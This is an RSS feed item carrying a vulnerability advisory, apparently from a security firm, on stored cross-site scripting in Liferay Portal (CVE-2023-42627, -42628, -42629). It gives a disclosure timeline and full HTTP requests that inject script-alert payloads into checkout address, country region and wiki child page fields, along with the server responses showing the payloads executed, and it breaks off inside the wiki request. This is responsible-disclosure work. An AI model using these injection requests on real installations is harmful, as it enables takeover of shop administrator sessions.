<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pentagrid AG (Posts about Liferay)</title><link>https://www.pentagrid.ch/</link><description></description><atom:link href="https://www.pentagrid.ch/en/categories/liferay.xml" rel="self" type="application/rss+xml"></atom:link><language>en</language><copyright>Contents © 2026 Pentagrid AG </copyright><lastBuildDate>Wed, 04 Mar 2026 15:37:04 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Persistent cross-site scripting vulnerabilities in Liferay Portal</title><link>https://www.pentagrid.ch/en/blog/stored-cross-site-scripting-vulnerabilities-in-liferay-portal/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;In 2023 we found multiple vulnerabilities in Liferay Portal, a digital experience platform for enterprise websites. It is a free and open-source software project. A few thousand installations on the Internet not suppressing the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Liferay-Portal&lt;/span&gt;&lt;/code&gt; HTTP response header can be found via special purpose search engines.&lt;/p&gt;
&lt;p&gt;The Liferay Portal in the Community Version is the foundation for the web interface of Liechtenstein's electronic health portal. That's the reason we got involved with the portal software – not as a customer pentest project, but out of interest. We wrote a &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/"&gt;blog post about the Liechtenstein's electronic health portal&lt;/a&gt; (blog post is in German). We reported our findings regarding the Liferay Portal to Liferay in order to get them addressed. Now we are releasing technical details about the vulnerabilities.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;Another vulnerability we mentioned in the health portal is a Denial of Service attack, where a nested Graph QL query is not restricted by the portal and which consumes available resources leading to a Denial of Service. This vulnerability is known to Liferay.&lt;/p&gt;
&lt;p&gt;Just so there are no misunderstandings: We did not try to use these vulnerabilities against Liechtenstein's electronic health portal.&lt;/p&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;Cross-Site-Scripting (XSS) allows an attacker to execute JavaScript in the attacked origin, enabling them to act as the exploited user of the website. A &lt;em&gt;stored&lt;/em&gt; XSS is persistently contained in the application itself, waiting for the victim to trigger it.&lt;/p&gt;
&lt;p&gt;While the below Cross-Site Scripting issues are all caused by missing output encoding, their impact varies greatly. The first XSS (CVE-2023-42627) can be triggered by a shop customer, meaning any person on the Internet, and is then only executed when a shop administrator visits the customer's address in the shop's administrative web interface. This is a perfect attack vector for an attacker to control the entire Liferay installation or at least the permissions of the visiting shop administrator. Therefore, we would rate this XSS as a high impact XSS.&lt;/p&gt;
&lt;p&gt;However, the second to fourth XSS (CVE-2023-42627, CVE-2023-42628, CVE-2023-42629) can only be triggered by an administrator (or at least someone having the appropriate role/permission) by changing certain settings of Liferay. While the execution of HTML/JavaScript is not intended behavior and the proper output encoding is missing, the attack vector in this case is less attractive for an attacker, because the attacker can often not fulfil this precondition of having certain administrative permissions. Although Pentagrid is not aware of the entire role concept/permission model of Liferay, it is assumed that in most cases this only allows a user with certain administrator permissions to attack a user with other administrator permissions. As administrators in general control web page content (especially in Liferay where they can even get a groovy shell on the underlying server), we would rate these three XSS issues as informational or low impact. The CVSS version 3.1 scores can only model this attack vector in the "privilege required" attribute and therefore does not fully reflect the elaborated difference.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-07-13: Initial contact of Liferay and report of XSS vulnerability in shipping address field to &lt;a class="reference external" href="mailto:security@liferay.com"&gt;security@liferay.com&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-17: Report of an XSS vulnerability in wiki child pages via E-mail.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-17: Liferay replied that they verified the vulnerability and will notify after a patch is released.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-18: Report of an XSS vulnerability in country region field.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-19: Report of an XSS vulnerability in vocabulary descriptions field.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-09-11: Feedback from Liferay that the vocabulary XSS is fixed in version 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-09-12: Liferay communicated CVE-IDs assigned to vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-13: Liferay reported a status about all fixes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: Public release of advisory after 90 days after the last reported XSS.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42629: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42629"&gt;their advisory on CVE-2023-42629&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.0.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42628: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42628"&gt;their advisory on CVE-2023-42628&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.0.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42627: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42627"&gt;their advisory on CVE-2023-42627&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.6.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been observed in the Liferay Community Edition Portal version 7.4.3.84.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-billing-and-shipping-addresses-cve-2023-42627"&gt;
&lt;h3&gt;1.  Persistent cross-site scripting vulnerability via billing and shipping addresses  (CVE-2023-42627)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L, 8.3 High&lt;/pre&gt;
&lt;p&gt;When submitting an order, an attacker can inject malicious payloads. The following fields are vulnerable for both shipping and billing data: &lt;code class="docutils literal"&gt;address&lt;/code&gt;, &lt;code class="docutils literal"&gt;address2&lt;/code&gt;, &lt;code class="docutils literal"&gt;address3&lt;/code&gt;, &lt;code class="docutils literal"&gt;city&lt;/code&gt; and &lt;code class="docutils literal"&gt;zip&lt;/code&gt;. See the following example which uses the &lt;em&gt;Speedwell&lt;/em&gt; theme.&lt;/p&gt;
&lt;img alt="XSS payloads in the shipping address fields." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_shipping_payloads.png"&gt;
&lt;p&gt;The corresponding HTTP request for injection via the shipping address is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 2212
Origin: http://localhost:9090
Connection: close
Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/shipping-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455841126; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697455840993&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=shipping-address&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fshipping-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22shipping_name%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22shipping_phone%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22shipping_address%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22shipping_address2%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22shipping_address3%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22shipping_zip%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22shipping_city%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_region
        Id=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkboxNames=use-as-billing&amp;amp;p_auth=GgaH6PDc&lt;/pre&gt;
&lt;p&gt;The corresponding HTTP request for injection via the billing address is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 2095
Origin: http://localhost:9090
Connection: close
Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/billing-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697456017677; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697456016443&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=billing-address&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fbilling-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22billing_name%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22billing_phone%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22billing_adress%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22billing_adress2%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22billing_adress3%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22billing_zip%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22billing_city%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_li
feray_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;p_auth=GgaH6PDc&lt;/pre&gt;
&lt;p&gt;Once the order is submitted, the payloads get executed in the browser of the victim (e.g. the shop owner) when they view the order details. The browser sends a GET request, for example:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /group/speedwell/~/control_panel/manage?p_p_id=com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_mvcRenderCommandName=%2Fcommerce_order%2Fedit_commerce_order&amp;amp;_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_commerceOrderId=35980&amp;amp;p_p_auth=LRyvOYIu HTTP/1.1&lt;/pre&gt;
&lt;p&gt;The corresponding response contains:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:37:40 GMT
Connection: close
Content-Length: 99498


&amp;lt;div class="description"&amp;gt;


    &amp;lt;p class="mb-0"&amp;gt;
        &amp;lt;script&amp;gt;alert("billing_adress")&amp;lt;/script&amp;gt;
    &amp;lt;/p&amp;gt;


        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("billing_adress2")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;

        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("billing_adress3")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;


    &amp;lt;p class="mb-0"&amp;gt;
        &amp;lt;script&amp;gt;alert("billing_city")&amp;lt;/script&amp;gt;, &amp;lt;script&amp;gt;alert("billing_zip")&amp;lt;/script&amp;gt;
    &amp;lt;/p&amp;gt;
[...]
    &amp;lt;div class="description"&amp;gt;

        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("shipping_address")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;


            &amp;lt;p class="mb-0"&amp;gt;
                &amp;lt;script&amp;gt;alert("shipping_address2")&amp;lt;/script&amp;gt;
            &amp;lt;/p&amp;gt;

            &amp;lt;p class="mb-0"&amp;gt;
                &amp;lt;script&amp;gt;alert("shipping_address3")&amp;lt;/script&amp;gt;
            &amp;lt;/p&amp;gt;


        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("shipping_city")&amp;lt;/script&amp;gt;, &amp;lt;script&amp;gt;alert("shipping_zip")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;
[...]&lt;/pre&gt;
&lt;img alt="Alert when viewing order details." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_shipping_alert.png"&gt;
&lt;p&gt;Additionally, injections into the fields &lt;em&gt;name&lt;/em&gt; and &lt;em&gt;phone&lt;/em&gt; get executed when an attacker has set these as default billing or shipping addresses and the victim examines the account details afterwards. The menu for changing the default addresses is affected by this stored XSS vulnerability as well.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-country-regions-cve-2023-42627"&gt;
&lt;h3&gt;2. Persistent cross-site scripting vulnerability via country regions (CVE-2023-42627)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;An attacker can inject arbitrary JavaScript or HTML code when adding country regions. A HTTP POST request for injecting JavaScript and HTML code is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_javax.portlet.action=%2Fcommerce_country%2Fedit_commerce_region&amp;amp;p_p_auth=olPu9S6s HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/group/guest/~/control_panel/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------195765885022298159623640673918
Content-Length: 2850
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455335712
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_formDate"

1697455335661
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_cmd"

add
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect"

http://localhost:9090/group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&amp;amp;p_p_auth=olPu9S6s
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId"

20916
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionId"

0
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_name"

&amp;lt;script&amp;gt;alert("region_name")&amp;lt;/script&amp;gt;
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionCode"

&amp;lt;script&amp;gt;alert("region_code")&amp;lt;/script&amp;gt;
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_position"

0.0
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_checkboxNames"

active
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------195765885022298159623640673918--&lt;/pre&gt;
&lt;p&gt;These payloads get executed when a victim is examining the regions page. The corresponding HTTP GET request is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&amp;amp;p_p_auth=olPu9S6s HTTP/1.1
[...]&lt;/pre&gt;
&lt;p&gt;The server then returns the injected HTML ands JavaScript code in the reponse:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:24:20 GMT
Connection: close
Content-Length: 117171

[...]
&amp;lt;script&amp;gt;alert("region_name")&amp;lt;/script&amp;gt;&amp;lt;/a&amp;gt;
[...]
        &amp;lt;td class="table-cell-expand lfr-regioncode-column" colspan="1"&amp;gt;
                &amp;lt;script&amp;gt;alert("region_code")&amp;lt;/script&amp;gt;
        &amp;lt;/td&amp;gt;
[...]&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_regions.png"&gt;
&lt;img alt="XSS payloads while editing a country definition." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_regions.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-wiki-child-pages-cve-2023-42628"&gt;
&lt;h3&gt;3. Persistent cross-site scripting vulnerability via wiki child pages (CVE-2023-42628)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;When adding a new child page in a wiki page, an attacker can inject malicious payloads into the &lt;code class="docutils literal"&gt;content&lt;/code&gt; field. This payload gets executed in the browser of the victim when they visit the according parent page, because the payload is placed as text into the child page's container.&lt;/p&gt;
&lt;p&gt;HTTP request:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /wiki?p_p_id=com_liferay_wiki_web_portlet_WikiPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_wiki_web_portlet_WikiPortlet_javax.portlet.action=%2Fwiki%2Fedit_page&amp;amp;_com_liferay_wiki_web_portlet_WikiPortlet_mvcRenderCommandName=%2Fwiki%2Fedit_page HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------9342881932314680790817840128
Content-Length: 4704
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455074560
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_formDate"

1697455074387
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_cmd"

add
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_redirect"

http://localhost:9090/wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_editTitle"

true
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_nodeId"

35926
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_parentTitle"

FrontPage
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_workflowAction"

1
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_version"

0.0
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_title"

child page
-----------------------------9342881932314680790817840128
